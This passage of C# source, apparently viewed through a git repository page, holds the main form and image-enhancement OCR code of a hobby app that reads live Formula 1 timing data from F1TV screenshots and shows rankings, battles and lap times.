//MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear);
if (settingsForm.GrandPrixUrl != "" && settingsForm.SelectedConfigFile != "")
{
GpUrl = settingsForm.GrandPrixUrl;
tbxGpUrl.Text = GpUrl;
if (File.Exists(settingsForm.SelectedConfigFile))
{
ConfigFile = settingsForm.SelectedConfigFile;
for(int i = 0; i < lsbPresets.Items.Count; i++)
{
if (lsbPresets.Items[i].ToString() == ConfigFile)
lsbPresets.SelectedIndex = i;
}
}
else
{
MessageBox.Show("The config file has not been found please return to the config and change it");
}
}
else
{
//WE dont care anymore, the user will choose its Grand Prix himself in the main program
//MessageBox.Show("There is no URL for the Grand Prix you want to decode. Please return to the config and add a valid one");
}
}
private async void Form1_Load(object sender, EventArgs e)
{
//Those are the default values but they will need to be changed later when the configuration has been done
ConfigFile = "./Presets/Clean_4K_2023.json";
GpUrl = "https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play";
tbxGpUrl.Text = GpUrl;
oldSize = this.Size;
oldRankingSize = gpbxRanking.Size;
oldLapTimesSize = gpbxLapTimes.Size;
oldBattles = gpbxBattles.Size;
oldPnlRankings = pnlLiveRanking.Size;
oldPnlBattles = pnlBattles.Size;
oldPnlFastest = pnlFastest.Size;
oldPnlSlowest = pnlSlowest.Size;
oldRankingPosition = gpbxRanking.Location;
oldBattlePosition = gpbxBattles.Location;
oldDriverInfoPosition = gpbxDriverInfos.Location;
olPnlFastestPosition = pnlFastest.Location;
oldPnlSlowestPosition = pnlSlowest.Location;
tip1.SetToolTip(btnResetEmulator, "Starts or restarts the emulator. You need to start this to use the app");
tip1.SetToolTip(btnSettings, "Opens the configuration menu");
tip1.SetToolTip(tbxGpUrl, "Insert the URL of the Grand Prix you want to track. Dont forget the \"?action=play\" at the end");
tip1.SetToolTip(lsbPresets, "Select a configuration preset to use with the decoding");
tip1.SetToolTip(pbxResult,"A preview of what the program sees. You should see the DATA page of the F1TV here");
tip1.SetToolTip(lsbOvertakes,"A list of all the activity. You can scroll to see the most recent overtakes");
tip1.SetToolTip(gpbxBattles,"The four first battles in the field. A battle is two drivers less than 3 seconds apart");
tip1.SetToolTip(gpbxLapTimes,"The fastest and slowest drivers on track at the moment. It takes the average lapTime of the last 5 laps to choose who is the fastes or the slowest");
RefreshUI();
}
private async void btnUpdate_Click(object sender, EventArgs e)
{
cancelRequested = false;
if (Emulator != null && Wrapper != null)
{
// Disable UI controls to prevent re-entrancy
btnResetEmulator.Enabled = false;
btnStartDecoding.Enabled = false;
btnStopUpdating.Enabled = true;
btnSettings.Enabled = false;
while (!cancelRequested)
{
await semaphore.WaitAsync();
try
{
// Start the time-consuming task on a separate thread
await Task.Run(async () =>
{
Stopwatch sw = new Stopwatch();
sw.Start();
Bitmap screen = Emulator.Screenshot();
screen.Save("HopefullyDataScreenshot.png");
Invoke((MethodInvoker)delegate
{
pbxResult.Image = (Bitmap)screen.Clone();
});
Wrapper.ChangeImage(screen);
int errorCode = Wrapper.Refresh();
sw.Stop();
// Task completed
Invoke((MethodInvoker)delegate
{
DisplayResults(errorCode, sw, screen);
DisplayBattles();
DisplayDeltas();
DisplayOvertakes();
});
});
}
finally
{
semaphore.Release();
}
}
// Re-enable UI controls
btnStopUpdating.Text = "Stop";
btnStartDecoding.Enabled = true;
btnStopUpdating.Enabled = false;
btnResetEmulator.Enabled = true;
btnSettings.Enabled = true;
}
}
private void DisplayOvertakes()
{
Wrapper.DisplayOvertakes(lsbOvertakes);
}
private void DisplayBattles()
{
Wrapper.DisplayBattles(pnlBattles, this);
}
private void DisplayDeltas()
{
Wrapper.DisplayTimesDeltas(pnlFastest, pnlSlowest, this);
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
if (Emulator != null)
{
Emulator.Stop();
}
}
private void DisplayResults(int errorCode, Stopwatch sw, Bitmap screen)
{
if (errorCode != 0)
{
cancelRequested = true;
MessageBox.Show("An error has occured while trying to recover data from live feed. This can happen sometimes. I would advise you to restart a few times. If the problem persists check your configuration.");
}
else
{
Wrapper.DisplayLiveRanking(pnlLiveRanking, this);
}
}
private void btnStopUpdating_Click(object sender, EventArgs e)
{
// Set the cancellation flag
cancelRequested = true;
btnStopUpdating.Enabled = false;
btnResetEmulator.Enabled = false;
btnStopUpdating.Text = "Stopping";
}
private async void button1_Click(object sender, EventArgs e)
{
lsbOvertakes.Items.Clear();
btnResetEmulator.Text = "Launching";
btnResetEmulator.Enabled = false;
btnSettings.Enabled = true;
btnStartDecoding.Enabled = false;
btnStopUpdating.Enabled = false;
btnSettings.Enabled = false;
int errorCode = -1;
await Task.Run(async () =>
{
if (Emulator != null)
Emulator.ResetDriver();
Emulator = null;
Wrapper = null;
GC.Collect();
Emulator = new F1TVEmulator(GpUrl);
errorCode = await Emulator.Start();
});
if (errorCode != 0)
{
string message = "";
switch (errorCode)
{
case 100:
message = "Error " + errorCode + " Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again";
break;
case 101:
message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
break;
case 102:
message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
break;
case 103:
message = "Error " + errorCode + " The url is not a valid url";
break;
case 104:
message = "Error " + errorCode + " The url is not a valid url";
break;
case 105:
message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
break;
case 106:
message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
break;
default:
message = "Could not start the emulator Error " + errorCode;
break;
}
MessageBox.Show(message);
btnResetEmulator.Enabled = true;
btnSettings.Enabled = true;
btnResetEmulator.Text = "Retry";
}
else
{
Wrapper = new DataWrapper(ConfigFile, Emulator.Screenshot());
btnResetEmulator.Text = "Re launch";
btnResetEmulator.Enabled = true;
btnSettings.Enabled = true;
btnStartDecoding.Enabled = true;
}
}
private void removeBorders(object sender, PaintEventArgs e)
{
GroupBox gpbx = (GroupBox)sender;
using (Pen pen = new Pen(gpbx.BackColor, 50))
{
e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
}
using (var brush = new SolidBrush(gpbx.ForeColor))
{
var textPosition = new Point(5, 0); // Adjust the X and Y values as needed
e.Graphics.DrawString(gpbx.Text, gpbx.Font, brush, textPosition);
}
}
private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
{
if (lsbPresets.SelectedIndex >= 0)
ConfigFile = lsbPresets.Items[lsbPresets.SelectedIndex].ToString();
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
if (tbxGpUrl.Text != "")
GpUrl = tbxGpUrl.Text;
}
public void btnDriver_Click(object sender, EventArgs e)
{
//Removes the cover
if (pnlCover.Visible = true)
pnlCover.Visible = false;
//Happens when a driver button has been clicked
//MessageBox.Show((sender as Button).Name + " has been selected");
Button btn = (sender as Button);
string[] parts = btn.Name.Split('_');
DriverData driver = Wrapper.GetFullDriverData(parts[0], pnlCurrentDriverLapsHistory, this);
lblCurrentDriverName.Text = driver.Name;
lblCurrentDriverPosition.Text = driver.Position.ToString();
lblCurrentDriverGapToLeader.Text = Reader.ConvertMsToTime(driver.GapToLeader);
lblCurrentDriverLapTime.Text = Reader.ConvertMsToTime(driver.LapTime);
lblCurrentDriverTyreAge.Text = driver.CurrentTyre.NumberOfLaps.ToString();
if (driver.DRS)
{
lblCurrentDriverDRS.Text = "Open";
lblCurrentDriverDRS.ForeColor = Color.FromArgb(0, 164, 46);
}
else
{
lblCurrentDriverDRS.Text = "Closed";
lblCurrentDriverDRS.ForeColor = Color.Black;
}
switch (driver.CurrentTyre.Coumpound)
{
case Tyre.Type.Undefined:
lblCurrentDriverTyreType.Text = "uuuuh...";
lblCurrentDriverTyreType.ForeColor = Color.Violet;
break;
case Tyre.Type.Hard:
lblCurrentDriverTyreType.Text = "Hard";
lblCurrentDriverTyreType.ForeColor = Color.FromArgb(164, 165, 168);
break;
case Tyre.Type.Medium:
lblCurrentDriverTyreType.Text = "Medium";
lblCurrentDriverTyreType.ForeColor = Color.FromArgb(245, 191, 0);
break;
case Tyre.Type.Soft:
lblCurrentDriverTyreType.Text = "Soft";
lblCurrentDriverTyreType.ForeColor = Color.FromArgb(255, 0, 0);
break;
case Tyre.Type.Inter:
lblCurrentDriverTyreType.Text = "Intermediate";
lblCurrentDriverTyreType.ForeColor = Color.FromArgb(0, 164, 46);
break;
case Tyre.Type.Wet:
lblCurrentDriverTyreType.Text = "Wet";
lblCurrentDriverTyreType.ForeColor = Color.FromArgb(39, 96, 166);
break;
}
}
public void btnLapTime_Click(object sender, EventArgs e)
{
//Happens when a lapTime has been clicked
Button btn = sender as Button;
string[] parts = btn.Name.Split('_');
Wrapper.DisplayLapTimeInfos(parts[0], Convert.ToInt32(parts[1]), btn.Text);
}
private void Main_Resize(object sender, EventArgs e)
{
int xDiff = this.Width - oldSize.Width;
int yDiff = this.Height - oldSize.Height;
int padding = 10;
//This will take half the newly created space
gpbxRanking.Size = new Size(oldRankingSize.Width + xDiff / 2, oldRankingSize.Height + yDiff);
gpbxRanking.Location = new Point(oldRankingPosition.X + xDiff / 2, gpbxRanking.Location.Y);
//Will take half the new height and half the new height
gpbxLapTimes.Size = new Size(oldLapTimesSize.Width + xDiff / 2, oldLapTimesSize.Height + yDiff / 2);
//Will take half the new height and half the new width
gpbxBattles.Size = new Size(oldBattles.Width + xDiff / 2, oldBattles.Height + yDiff / 2);
gpbxBattles.Location = new Point(gpbxBattles.Location.X, oldBattlePosition.Y + yDiff / 2);
//The infos wont change width but will need to be centerd
Point startOfZone = new Point(gpbxOvertakes.Width + gpbxOvertakes.Location.X, gpbxOvertakes.Location.Y);
Point endOfZone = new Point(gpbxRanking.Location.X, gpbxOvertakes.Location.Y);
int totalWidth = endOfZone.X - startOfZone.X;
gpbxDriverInfos.Location = new Point(startOfZone.X + (totalWidth / 2 - gpbxDriverInfos.Width / 2), oldDriverInfoPosition.Y + yDiff);
//Now resizing internals
pnlFastest.Size = new Size(oldPnlFastest.Width + xDiff / 4,oldPnlFastest.Height + yDiff / 4);
pnlFastest.Location = new Point(olPnlFastestPosition.X,olPnlFastestPosition.Y + yDiff / 4);
pnlSlowest.Size = new Size(oldPnlSlowest.Width + xDiff / 4, oldPnlSlowest.Height + yDiff / 4);
pnlSlowest.Location = new Point(oldPnlSlowestPosition.X + xDiff / 4, oldPnlSlowestPosition.Y + yDiff / 4);
pnlBattles.Size = new Size(oldPnlBattles.Width + xDiff / 2,oldPnlBattles.Height + yDiff / 2);
pnlLiveRanking.Size = new Size(oldPnlRankings.Width + xDiff / 2,oldPnlRankings.Height + yDiff);
}
}
}
```
+678
View File
@@ -0,0 +1,678 @@
# OcrImage.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : OcrImage.cs
/// Brief : Class containing all the methods used to enhance images for OCR
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
namespace TrackTrends
{
public class OcrImage
{
//this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes
//Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information
public static Color F1TV_BACKGROUND_TRESHOLD = Color.FromArgb(0x50, 0x50, 0x50);
Bitmap InputBitmap;
public enum WindowType
{
LapTime,
Text,
Sector,
Gap,
Tyre,
}
/// <summary>
/// Create a new Ocr image to help enhance the given bitmap for OCR
/// </summary>
/// <param name="inputBitmap">The image you want to enhance</param>
public OcrImage(Bitmap inputBitmap)
{
InputBitmap = inputBitmap;
}
/// <summary>
/// Enhances the image depending on wich type of window the image comes from
/// </summary>
/// <param name="type">The type of the window. Depending on it different enhancing features will be applied</param>
/// <returns>The enhanced Bitmap</returns>
public Bitmap Enhance(WindowType type = WindowType.Text)
{
Bitmap outputBitmap = (Bitmap)InputBitmap.Clone();
//Note : If you plan to activate all the comments that I used to debug the OCR I would advise to make sure that the debug folder exists
switch (type)
{
case WindowType.Gap:
//outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\raw_" + id + ".png");
outputBitmap = Tresholding(outputBitmap, 165);
//outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\treshold_" + id + ".png");
outputBitmap = Resize(outputBitmap, 2);
//outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\resize_" + id + ".png");
outputBitmap = Dilatation(outputBitmap, 1);
//outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @"\Final_dilatation_" + id + ".png");
break;
case WindowType.Sector:
//outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\raw_" + id + ".png");
outputBitmap = VanishOxyAction(outputBitmap);
//outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\vanish_" + id + ".png");
outputBitmap = Tresholding(outputBitmap, 150);
//outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @"\Final_treshold_" + id + ".png");
break;
case WindowType.LapTime:
//outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\raw_" + id + ".png");
outputBitmap = Tresholding(outputBitmap,185);
//outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\Treshold_" + id + ".png");
outputBitmap = SobelEdgeDetection(outputBitmap);
//outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @"\SobelDetection_" + id + ".png");
break;
case WindowType.Text:
//outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @"\raw_" + id + ".png");
outputBitmap = Tresholding(outputBitmap, 165);
//outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @"\Final_treshold_" + id + ".png");
break;
case WindowType.Tyre:
//outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\raw_" + id + ".png");
outputBitmap = RemoveUseless(outputBitmap);
//outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\uselessRemoved_" + id + ".png");
outputBitmap = Dilatation(outputBitmap, 1);
//outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @"\Final_dilatation_" + id + ".png");
break;
default:
outputBitmap = Tresholding(outputBitmap, 165);
outputBitmap = Resize(outputBitmap, 2);
outputBitmap = Erode(outputBitmap, 1);
break;
}
return outputBitmap;
}
/// <summary>
/// Method that convert a colored RGB bitmap into a GrayScale image
/// </summary>
/// <param name="inputBitmap">The Bitmap you want to convert</param>
/// <returns>The bitmap in grayscale</returns>
public static Bitmap Grayscale(Bitmap inputBitmap)
{
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
unsafe
{
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
for (int y = 0; y < inputBitmap.Height; y++)
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < inputBitmap.Width; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
byte blue = pixel[0];
byte green = pixel[1];
byte red = pixel[2];
//Those a specific values to correct the weights so its more pleasing to the human eye
int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
//This is not a proper treshold method but it is helping the sobel edge detection
if(gray <= F1TV_BACKGROUND_TRESHOLD.R)
{
pixel[0] = pixel[1] = pixel[2] = 0;
}
else
{
pixel[0] = pixel[1] = pixel[2] = (byte)gray;
}
}
}
}
inputBitmap.UnlockBits(bmpData);
return inputBitmap;
}
/// <summary>
/// Method that uses the Sobel Edge detection to outline the edges of the characters to help with the OCR
/// </summary>
/// <param name="grayscaleImage">The image with the sobel edge detection used</param>
/// <returns></returns>
private Bitmap SobelEdgeDetection(Bitmap grayscaleImage)
{
// Create a new bitmap for the edges
Bitmap edgesImage = new Bitmap(grayscaleImage.Width, grayscaleImage.Height);
// Define the Sobel operators
// Its just a matrix that we will use on the all image
int[,] sobelX = { { -1, 0, 1 }, { -2, 0, 2 }, { -1, 0, 1 } };
int[,] sobelY = { { -1, -2, -1 }, { 0, 0, 0 }, { 1, 2, 1 } };
// Apply the Sobel operators and normalize the gradients
// NOTE: I dont know how easy or hard it would be to make this paralel but it could be a good idea to do so if possible.
for (int y = 1; y < grayscaleImage.Height - 1; y++)
{
for (int x = 1; x < grayscaleImage.Width - 1; x++)
{
int gradientX = CalculateGradient(grayscaleImage, sobelX, x, y);
int gradientY = CalculateGradient(grayscaleImage, sobelY, x, y);
int gradient = (int)Math.Sqrt(gradientX * gradientX + gradientY * gradientY);
// Normalize the gradient value
// In some rare cases the value can exceed 255 so we limit it with the Math.Min method
gradient = Math.Min(255, Math.Max(0, gradient));
edgesImage.SetPixel(x, y, Color.FromArgb(gradient, gradient, gradient));
}
}
return edgesImage;
}
/// <summary>
/// Method that's here to be used by the sobel edge detection method (Chat GPT has been used for parts of this method)
/// </summary>
/// <param name="grayscaleImage">The input image with the grayscale processing already done</param>
/// <param name="sobelOperator">The matrix to apply</param>
/// <param name="x"></param>
/// <param name="y"></param>
/// <returns>Returns the processed gradient</returns>
private int CalculateGradient(Bitmap grayscaleImage, int[,] sobelOperator, int x, int y)
{
int gradient = 0;
for (int j = -1; j <= 1; j++)
{
for (int i = -1; i <= 1; i++)
{
int pixelX = grayscaleImage.GetPixel(x + i, y + j).R;
gradient += sobelOperator[j + 1, i + 1] * pixelX;
}
}
return gradient;
}
/// <summary>
/// Method that is used to whiten an image. Ignore the funny name. Its used to prevent colored text to trouble the OCR when it uses grayscaling
/// </summary>
/// <param name="inputBitmap">The bitmap to vanish</param>
/// <returns></returns>
public static Bitmap VanishOxyAction(Bitmap inputBitmap)
{
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
unsafe
{
//Note : MAKE THIS PARALELL OMG WY DID I LEFT IT LIKE THAT
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
for (int y = 0; y < inputBitmap.Height; y++)
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < inputBitmap.Width; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
int blue = (int)pixel[0];
int green = (int)pixel[1];
int red = (int)pixel[2];
int max = Math.Max(Math.Max(blue, green), red);
if (max > 255 / 3)
max = 255;
pixel[0] = pixel[1] = pixel[2] = (byte)max;
}
}
}
inputBitmap.UnlockBits(bmpData);
return inputBitmap;
}
/// <summary>
/// Method that binaries the input image up to a certain treshold given
/// </summary>
/// <param name="inputBitmap">the bitmap you want to convert to binary colors</param>
/// <param name="threshold">The floor at wich the color is considered as white or black</param>
/// <returns>The binarised bitmap</returns>
public static Bitmap Tresholding(Bitmap inputBitmap, int threshold)
{
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
unsafe
{
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
int bmpHeight = inputBitmap.Height;
int bmpWidth = inputBitmap.Width;
Parallel.For(0, bmpHeight, y =>
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < bmpWidth; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
byte blue = pixel[0];
byte green = pixel[1];
byte red = pixel[2];
//Those a specific values to correct the weights so its more pleasing to the human eye
int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
int value = gray < threshold ? 0 : 255;
pixel[0] = pixel[1] = pixel[2] = (byte)value;
}
});
}
inputBitmap.UnlockBits(bmpData);
return inputBitmap;
}
/// <summary>
/// Method that removes the pixels that are flagged as background
/// </summary>
/// <param name="inputBitmap">The bitmap you want to remove the background from</param>
/// <returns>The Bitmap without the background</returns>
public static Bitmap RemoveBG(Bitmap inputBitmap)
{
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
unsafe
{
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
for (int y = 0; y < inputBitmap.Height; y++)
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < inputBitmap.Width; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
int B = pixel[0];
int G = pixel[1];
int R = pixel[2];
if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B)
pixel[0] = pixel[1] = pixel[2] = 0;
}
}
}
inputBitmap.UnlockBits(bmpData);
return inputBitmap;
}
/// <summary>
/// Method that removes all the useless things from the image and returns hopefully only the numbers
/// </summary>
/// <param name="inputBitmap">The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow)</param>
/// <returns>The bitmap with (hopefully) only the digits</returns>
public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap)
{
//Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
for (int y = 0; y < inputBitmap.Height; y++)
{
byte* currentLine = ptr + (y * bmpData.Stride);
List<int> pixelsToRemove = new List<int>();
bool fromBorder = true;
for (int x = 0; x < inputBitmap.Width; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
int B = pixel[0];
int G = pixel[1];
int R = pixel[2];
if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
{
pixelsToRemove.Add(x);
}
else
{
if (fromBorder)
{
fromBorder = false;
pixelsToRemove.Add(x);
}
}
}
fromBorder = true;
for (int x = inputBitmap.Width - 1; x > 0; x--)
{
byte* pixel = currentLine + (x * bytesPerPixel);
int B = pixel[0];
int G = pixel[1];
int R = pixel[2];
if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
{
pixelsToRemove.Add(x);
}
else
{
if (fromBorder)
{
fromBorder = false;
pixelsToRemove.Add(x);
}
}
}
foreach (int pxPos in pixelsToRemove)
{
byte* pixel = currentLine + (pxPos * bytesPerPixel);
pixel[0] = 0xFF;
pixel[1] = 0xFF;
pixel[2] = 0xFF;
}
}
//Removing the color parts
for (int y = 0; y < inputBitmap.Height; y++)
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < inputBitmap.Width; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
int B = pixel[0];
int G = pixel[1];
int R = pixel[2];
if (R >= F1TV_BACKGROUND_TRESHOLD.R +25|| G >= F1TV_BACKGROUND_TRESHOLD.G +25|| B >= F1TV_BACKGROUND_TRESHOLD.B +25)
{
pixel[0] = 0xFF;
pixel[1] = 0xFF;
pixel[2] = 0xFF;
}
}
}
inputBitmap.UnlockBits(bmpData);
return inputBitmap;
}
/// <summary>
/// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background
/// </summary>
/// <param name="inputBitmap">The bitmap you want to get the average color from</param>
/// <returns>The average color of the bitmap</returns>
public static Color GetAvgColorFromBitmap(Bitmap inputBitmap)
{
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
int totR = 0;
int totG = 0;
int totB = 0;
int totPixels = 1;
unsafe
{
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
int bmpHeight = inputBitmap.Height;
int bmpWidth = inputBitmap.Width;
Parallel.For(0, bmpHeight, y =>
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < bmpWidth; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
int B = pixel[0];
int G = pixel[1];
int R = pixel[2];
if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B)
{
totPixels++;
totB += pixel[0];
totG += pixel[1];
totR += pixel[2];
}
}
});
}
inputBitmap.UnlockBits(bmpData);
return Color.FromArgb(255,Math.Min(Convert.ToInt32((float)totR / (float)totPixels),255), Math.Min(Convert.ToInt32((float)totG / (float)totPixels),255), Math.Min(Convert.ToInt32((float)totB / (float)totPixels),255));
}
/// <summary>
/// This method simply inverts all the colors in a Bitmap
/// </summary>
/// <param name="inputBitmap">the bitmap you want to invert the colors from</param>
/// <returns>The bitmap with inverted colors</returns>
public static Bitmap InvertColors(Bitmap inputBitmap)
{
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
unsafe
{
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
for (int y = 0; y < inputBitmap.Height; y++)
{
byte* currentLine = ptr + (y * bmpData.Stride);
for (int x = 0; x < inputBitmap.Width; x++)
{
byte* pixel = currentLine + (x * bytesPerPixel);
pixel[0] = (byte)(255 - pixel[0]);
pixel[1] = (byte)(255 - pixel[1]);
pixel[2] = (byte)(255 - pixel[2]);
}
}
}
inputBitmap.UnlockBits(bmpData);
return inputBitmap;
}
/// <summary>
/// Methods that applies Bicubic interpolation to increase the size and resolution of an image
/// </summary>
/// <param name="inputBitmap">The bitmap you want to resize</param>
/// <param name="resizeFactor">The factor of resizing you want to use. I recommend using even numbers</param>
/// <returns>The bitmap witht the new size</returns>
public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor)
{
var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor);
using (var graphics = Graphics.FromImage(resultBitmap))
{
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height));
}
return resultBitmap;
}
/// <summary>
/// method that Highlights the countours of a Bitmap
/// </summary>
/// <param name="inputBitmap">The bitmap you want to highlight the countours of</param>
/// <returns>The bitmap with countours highlighted</returns>
public static Bitmap HighlightContours(Bitmap inputBitmap)
{
Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
Bitmap grayscale = Grayscale(inputBitmap);
Bitmap thresholded = Tresholding(grayscale, 128);
Bitmap dilated = Dilatation(thresholded, 3);
Bitmap eroded = Erode(dilated, 3);
for (int y = 0; y < inputBitmap.Height; y++)
{
for (int x = 0; x < inputBitmap.Width; x++)
{
Color pixel = inputBitmap.GetPixel(x, y);
Color dilatedPixel = dilated.GetPixel(x, y);
Color erodedPixel = eroded.GetPixel(x, y);
int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
int threshold = dilatedPixel.R;
if (gray > threshold)
{
outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
}
else if (gray <= threshold && erodedPixel.R == 0)
{
outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0));
}
else
{
outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
}
}
}
return outputBitmap;
}
/// <summary>
/// Method that that erodes the morphology of a bitmap
/// </summary>
/// <param name="inputBitmap">The bitmap you want to erode</param>
/// <param name="kernelSize">The amount of Erosion you want (be carefull its expensive on ressources)</param>
/// <returns>The Bitmap with the eroded contents</returns>
public static Bitmap Erode(Bitmap inputBitmap, int kernelSize)
{
Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
int[,] kernel = new int[kernelSize, kernelSize];
for (int i = 0; i < kernelSize; i++)
{
for (int j = 0; j < kernelSize; j++)
{
kernel[i, j] = 1;
}
}
for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
{
for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
{
bool flag = true;
for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
{
for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
{
Color pixel = inputBitmap.GetPixel(x + i, y + j);
int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
{
flag = false;
break;
}
}
if (!flag)
{
break;
}
}
if (flag)
{
outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
}
else
{
outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
}
}
}
return outputBitmap;
}
/// <summary>
/// Method that that use dilatation of the morphology of a bitmap
/// </summary>
